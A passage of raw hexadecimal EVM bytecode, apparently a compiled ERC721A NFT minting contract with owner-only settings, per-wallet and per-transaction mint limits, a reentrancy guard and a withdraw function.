048036038101906109109190613a0e565b612591565b005b34801561092357600080fd5b5061093e60048036038101906109399190613a0e565b6126e7565b60405161094b9190613a4a565b60405180910390f35b34801561096057600080fd5b506109696126ff565b6040516109769190613a4a565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a4a57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ab257507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ac25750610ac182612705565b5b9050919050565b606060018054610ad890613e75565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0490613e75565b8015610b515780601f10610b2657610100808354040283529160200191610b51565b820191906000526020600020905b815481529060010190602001808311610b3457829003601f168201915b5050505050905090565b6000610b668261276f565b610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c90613f18565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610beb8261125c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5290613faa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c7a61277c565b73ffffffffffffffffffffffffffffffffffffffff161480610ca95750610ca881610ca361277c565b6124fd565b5b610ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdf9061403c565b60405180910390fd5b610cf3838383612784565b505050565b60146020528060005260406000206000915090505481565b60008054905090565b610d24838383612836565b505050565b6000610d348361130a565b8210610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c906140ce565b60405180910390fd5b6000610d7f610d10565b905060008060005b83811015610ed7576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e7957806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec957868403610ec0578195505050505050610f13565b83806001019450505b508080600101915050610d87565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90614160565b60405180910390fd5b92915050565b600f5481565b610f2761277c565b73ffffffffffffffffffffffffffffffffffffffff16610f456115e0565b73ffffffffffffffffffffffffffffffffffffffff161480610fbb5750610f6a61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff1906141cc565b60405180910390fd5b60026009540361103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690614238565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161106d90614289565b60006040518083038185875af1925050503d80600081146110aa576040519150601f19603f3d011682016040523d82523d6000602084013e6110af565b606091505b50509050806110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea906142ea565b60405180910390fd5b506001600981905550565b611119838383604051806020016040528060008152506122e4565b505050565b600e5481565b600061112e610d10565b821061116f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111669061437c565b60405180910390fd5b819050919050565b61117f61277c565b73ffffffffffffffffffffffffffffffffffffffff1661119d6115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061121357506111c261277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611252576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611249906141cc565b60405180910390fd5b80600f8190555050565b600061126782612d74565b600001519050919050565b6000600b54905090565b600a805461128990613e75565b80601f01602080910402602001604051908101604052809291908181526020018280546112b590613e75565b80156113025780601f106112d757610100808354040283529160200191611302565b820191906000526020600020905b8154815290600101906020018083116112e557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113719061440e565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113fa61277c565b73ffffffffffffffffffffffffffffffffffffffff166114186115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061148e575061143d61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c4906141cc565b60405180910390fd5b6114d76000612f0e565b565b6114e161277c565b73ffffffffffffffffffffffffffffffffffffffff166114ff6115e0565b73ffffffffffffffffffffffffffffffffffffffff161480611575575061152461277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab906141cc565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61161261277c565b73ffffffffffffffffffffffffffffffffffffffff166116306115e0565b73ffffffffffffffffffffffffffffffffffffffff1614806116a6575061165561277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc906141cc565b60405180910390fd5b80600b8190555050565b6060600280546116fe90613e75565b80601f016020809104026020016040519081016040528092919081815260200182805461172a90613e75565b80156117775780601f1061174c57610100808354040283529160200191611777565b820191906000526020600020905b81548152906001019060200180831161175a57829003601f168201915b5050505050905090565b61178961277c565b73ffffffffffffffffffffffffffffffffffffffff166117a76115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061181d57506117cc61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61185c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611853906141cc565b60405180910390fd5b6118668282612fd4565b5050565b600b5481565b6000600b54905060006001600f54611888919061445d565b83601254611896919061445d565b1080156118e35750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c4d57601160009054906101000a900460ff1661193a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611931906144dd565b60405180910390fd5b60105483611946610d10565b611950919061445d565b1115611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890614549565b60405180910390fd5b600c548311156119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cd906145b5565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a2391906145d5565b8310611b3f5781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a7791906145d5565b611a819190614609565b8284611a8d9190614609565b611a9791906145d5565b341015611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad090614697565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b33919061445d565b92505081905550611c48565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b8c91906145d5565b831015611c47576000341015611bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bce90614697565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c26919061445d565b925050819055508260126000828254611c3f919061445d565b925050819055505b5b611e84565b601160009054906101000a900460ff16611c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c93906144dd565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cea919061445d565b1115611d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2290614703565b60405180910390fd5b8183611d379190614609565b341015611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090614697565b60405180910390fd5b60105483611d85610d10565b611d8f919061445d565b1115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790614549565b60405180910390fd5b600c54831115611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0c906145b5565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7a9061476f565b60405180910390fd5b5b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ed3919061445d565b92505081905550611ee43384612fd4565b505050565b611ef161277c565b73ffffffffffffffffffffffffffffffffffffffff16611f0f6115e0565b73ffffffffffffffffffffffffffffffffffffffff161480611f855750611f3461277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb906141cc565b60405180910390fd5b80600a9081611fd3919061493b565b5050565b611fdf61277c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361204c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204390614a59565b60405180910390fd5b806006600061205961277c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661210661277c565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161214b9190613816565b60405180910390a35050565b6000600d54905090565b61216961277c565b73ffffffffffffffffffffffffffffffffffffffff166121876115e0565b73ffffffffffffffffffffffffffffffffffffffff1614806121fd57506121ac61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61223c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612233906141cc565b60405180910390fd5b6000821161227f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227690614ac5565b60405180910390fd5b6010548261228b610d10565b612295919061445d565b11156122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90614b31565b60405180910390fd5b6122e08183612fd4565b5050565b6122ef848484612836565b6122fb84848484612ff2565b61233a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233190614bc3565b60405180910390fd5b50505050565b600d5481565b60606123518261276f565b612390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238790614c55565b60405180910390fd5b600061239a613179565b905060008151116123ba57604051806020016040528060008152506123f1565b806123d06001856123cb919061445d565b61320b565b6040516020016123e1929190614cfd565b6040516020818303038152906040525b915050919050565b601160009054906101000a900460ff1681565b60105481565b60125481565b61242061277c565b73ffffffffffffffffffffffffffffffffffffffff1661243e6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614806124b4575061246361277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea906141cc565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61259961277c565b73ffffffffffffffffffffffffffffffffffffffff166125b76115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061262d57506125dc61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61266c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612663906141cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036126db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d290614d9e565b60405180910390fd5b6126e481612f0e565b50565b60136020528060005260406000206000915090505481565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061284182612d74565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661286861277c565b73ffffffffffffffffffffffffffffffffffffffff1614806128c4575061288d61277c565b73ffffffffffffffffffffffffffffffffffffffff166128ac84610b5b565b73ffffffffffffffffffffffffffffffffffffffff16145b806128e057506128df82600001516128da61277c565b6124fd565b5b905080612922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291990614e30565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298b90614ec2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fa90614f54565b60405180910390fd5b612a10858585600161336b565b612a206000848460000151612784565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612d0457612c638161276f565b15612d035782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612d6d8585856001613371565b5050505050565b612d7c613728565b612d858261276f565b612dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbb90614fe6565b60405180910390fd5b60008290505b60008110612ecd576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612ebe578092505050612f09565b50808060019003915050612dca565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f0090615078565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612fee828260405180602001604052806000815250613377565b5050565b60006130138473ffffffffffffffffffffffffffffffffffffffff16613389565b1561316c578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261303c61277c565b8786866040518563ffffffff1660e01b815260040161305e94939291906150ed565b6020604051808303816000875af192505050801561309a57506040513d601f19601f82011682018060405250810190613097919061514e565b60015b61311c573d80600081146130ca576040519150601f19603f3d011682016040523d82523d6000602084013e6130cf565b606091505b506000815103613114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161310b90614bc3565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613171565b600190505b949350505050565b6060600a805461318890613e75565b80601f01602080910402602001604051908101604052809291908181526020018280546131b490613e75565b80156132015780601f106131d657610100808354040283529160200191613201565b820191906000526020600020905b8154815290600101906020018083116131e457829003601f168201915b5050505050905090565b606060008203613252576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613366565b600082905060005b6000821461328457808061326d9061517b565b915050600a8261327d91906151f2565b915061325a565b60008167ffffffffffffffff8111156132a05761329f613ac2565b5b6040519080825280601f01601f1916602001820160405280156132d25781602001600182028036833780820191505090505b5090505b6000851461335f576001826132eb91906145d5565b9150600a856132fa9190615223565b6030613306919061445d565b60f81b81838151811061331c5761331b615254565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561335891906151f2565b94506132d6565b8093505050505b919050565b50505050565b50505050565b61338483838360016133ac565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603613421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613418906152f5565b60405180910390fd5b60008403613464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161345b90615387565b60405180910390fd5b613471600086838761336b565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b8581101561370b57818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a483156136f6576136b66000888488612ff2565b6136f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136ec90614bc3565b60405180910390fd5b5b8180600101925050808060010191505061363f565b5080600081905550506137216000868387613371565b5050505050565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6137ab81613776565b81146137b657600080fd5b50565b6000813590506137c8816137a2565b92915050565b6000602082840312156137e4576137e361376c565b5b60006137f2848285016137b9565b91505092915050565b60008115159050919050565b613810816137fb565b82525050565b600060208201905061382b6000830184613807565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561386b578082015181840152602081019050613850565b60008484015250505050565b6000601f19601f8301169050919050565b600061389382613831565b61389d818561383c565b93506138ad81856020860161384d565b6138b681613877565b840191505092915050565b600060208201905081810360008301526138db8184613888565b905092915050565b6000819050919050565b6138f6816138e3565b811461390157600080fd5b50565b600081359050613913816138ed565b92915050565b60006020828403121561392f5761392e61376c565b5b600061393d84828501613904565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061397182613946565b9050919050565b61398181613966565b82525050565b600060208201905061399c6000830184613978565b92915050565b6139ab81613966565b81146139b657600080fd5b50565b6000813590506139c8816139a2565b92915050565b600080604083850312156139e5576139e461376c565b5b60006139f3858286016139b9565b9250506020613a0485828601613904565b9150509250929050565b600060208284031215613a2457613a2361376c565b5b6000613a32848285016139b9565b91505092915050565b613a44816138e3565b82525050565b6000602082019050613a5f6000830184613a3b565b92915050565b600080600060608486031215613a7e57613a7d61376c565b5b6000613a8c868287016139b9565b9350506020613a9d868287016139b9565b9250506040613aae86828701613904565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613afa82613877565b810181811067ffffffffffffffff82111715613b1957613b18613ac2565b5b80604052505050565b6000613b2c613762565b9050613b388282613af1565b919050565b600067ffffffffffffffff821115613b5857613b57613ac2565b5b613b6182613877565b9050602081019050919050565b82818337600083830152505050565b6000613b90613b8b84613b3d565b613b22565b905082815260208101848484011115613bac57613bab613abd565b5b613bb7848285613b6e565b509392505050565b600082601f830112613bd457613bd3613ab8565b5b8135613be4848260208601613b7d565b91505092915050565b600060208284031215613c0357613c0261376c565b5b600082013567ffffffffffffffff811115613c2157613c20613771565b5b613c2d84828501613bbf565b91505092915050565b613c3f816137fb565b8114613c4a57600080fd5b50565b600081359050613c5c81613c36565b92915050565b60008060408385031215613c7957613c7861376c565b5b6000613c87858286016139b9565b9250506020613c9885828601613c4d565b9150509250929050565b60008060408385031215613cb957613cb861376c565b5b6000613cc785828601613904565b9250506020613cd8858286016139b9565b9150509250929050565b600067ffffffffffffffff821115613cfd57613cfc613ac2565b5b613d0682613877565b9050602081019050919050565b6000613d26613d2184613ce2565b613b22565b905082815260208101848484011115613d4257613d41613abd565b5b613d4d848285613b6e565b509392505050565b600082601f830112613d6a57613d69613ab8565b5b8135613d7a848260208601613d13565b91505092915050565b60008060008060808587031215613d9d57613d9c61376c565b5b6000613dab878288016139b9565b9450506020613dbc878288016139b9565b9350506040613dcd87828801613904565b925050606085013567ffffffffffffffff811115613dee57613ded613771565b5b613dfa87828801613d55565b91505092959194509250565b60008060408385031215613e1d57613e1c61376c565b5b6000613e2b858286016139b9565b9250506020613e3c858286016139b9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613e8d57607f821691505b602082108103613ea057613e9f613e46565b5b50919050565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b6000613f02602d8361383c565b9150613f0d82613ea6565b604082019050919050565b60006020820190508181036000830152613f3181613ef5565b9050919050565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f9460228361383c565b9150613f9f82613f38565b604082019050919050565b60006020820190508181036000830152613fc381613f87565b9050919050565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b600061402660398361383c565b915061403182613fca565b604082019050919050565b6000602082019050818103600083015261405581614019565b9050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b60006140b860228361383c565b91506140c38261405c565b604082019050919050565b600060208201905081810360008301526140e7816140ab565b9050919050565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b600061414a602e8361383c565b9150614155826140ee565b604082019050919050565b600060208201905081810360008301526141798161413d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006141b660208361383c565b91506141c182614180565b602082019050919050565b600060208201905081810360008301526141e5816141a9565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b6000614222601f8361383c565b915061422d826141ec565b602082019050919050565b6000602082019050818103600083015261425181614215565b9050919050565b600081905092915050565b50565b6000614273600083614258565b915061427e82614263565b600082019050919050565b600061429482614266565b9150819050919050565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b60006142d460108361383c565b91506142df8261429e565b602082019050919050565b60006020820190508181036000830152614303816142c7565b9050919050565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b600061436660238361383c565b91506143718261430a565b604082019050919050565b6000602082019050818103600083015261439581614359565b9050919050565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b60006143f8602b8361383c565b91506144038261439c565b604082019050919050565b60006020820190508181036000830152614427816143eb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614468826138e3565b9150614473836138e3565b925082820190508082111561448b5761448a61442e565b5b92915050565b7f4d696e74206973206e6f74206c69766520796574000000000000000000000000600082015250565b60006144c760148361383c565b91506144d282614491565b602082019050919050565b600060208201905081810360008301526144f6816144ba565b9050919050565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b600061453360078361383c565b915061453e826144fd565b602082019050919050565b6000602082019050818103600083015261456281614526565b9050919050565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b600061459f60138361383c565b91506145aa82614569565b602082019050919050565b600060208201905081810360008301526145ce81614592565b9050919050565b60006145e0826138e3565b91506145eb836138e3565b92508282039050818111156146035761460261442e565b5b92915050565b6000614614826138e3565b915061461f836138e3565b925082820261462d816138e3565b915082820484148315176146445761464361442e565b5b5092915050565b7f506c656173652073656e64207468652065786163742045544820616d6f756e74600082015250565b600061468160208361383c565b915061468c8261464b565b602082019050919050565b600060208201905081810360008301526146b081614674565b9050919050565b7f457863656564206d6178696d756d204e465473207065722077616c6c65740000600082015250565b60006146ed601e8361383c565b91506146f8826146b7565b602082019050919050565b6000602082019050818103600083015261471c816146e0565b9050919050565b7f546865206d696e74657220697320616e6f7468657220636f6e74726163740000600082015250565b6000614759601e8361383c565b915061476482614723565b602082019050919050565b600060208201905081810360008301526147888161474c565b9050919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026147f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826147b4565b6147fb86836147b4565b95508019841693508086168417925050509392505050565b6000819050919050565b600061483861483361482e846138e3565b614813565b6138e3565b9050919050565b6000819050919050565b6148528361481d565b61486661485e8261483f565b8484546147c1565b825550505050565b600090565b61487b61486e565b614886818484614849565b505050565b5b818110156148aa5761489f600082614873565b60018101905061488c565b5050565b601f8211156148ef576148c08161478f565b6148c9846147a4565b810160208510156148d8578190505b6148ec6148e4856147a4565b83018261488b565b50505b505050565b600082821c905092915050565b6000614912600019846008026148f4565b1980831691505092915050565b600061492b8383614901565b9150826002028217905092915050565b61494482613831565b67ffffffffffffffff81111561495d5761495c613ac2565b5b6149678254613e75565b6149728282856148ae565b600060209050601f8311600181146149a55760008415614993578287015190505b61499d858261491f565b865550614a05565b601f1984166149b38661478f565b60005b828110156149db578489015182556001820191506020850194506020810190506149b6565b868310156149f857848901516149f4601f891682614901565b8355505b6001600288020188555050505b505050505050565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b6000614a43601a8361383c565b9150614a4e82614a0d565b602082019050919050565b60006020820190508181036000830152614a7281614a36565b9050919050565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b6000614aaf60138361383c565b9150614aba82614a79565b602082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4d6178696d756d20737570706c79206578636565646564000000000000000000600082015250565b6000614b1b60178361383c565b9150614b2682614ae5565b602082019050919050565b60006020820190508181036000830152614b4a81614b0e565b90509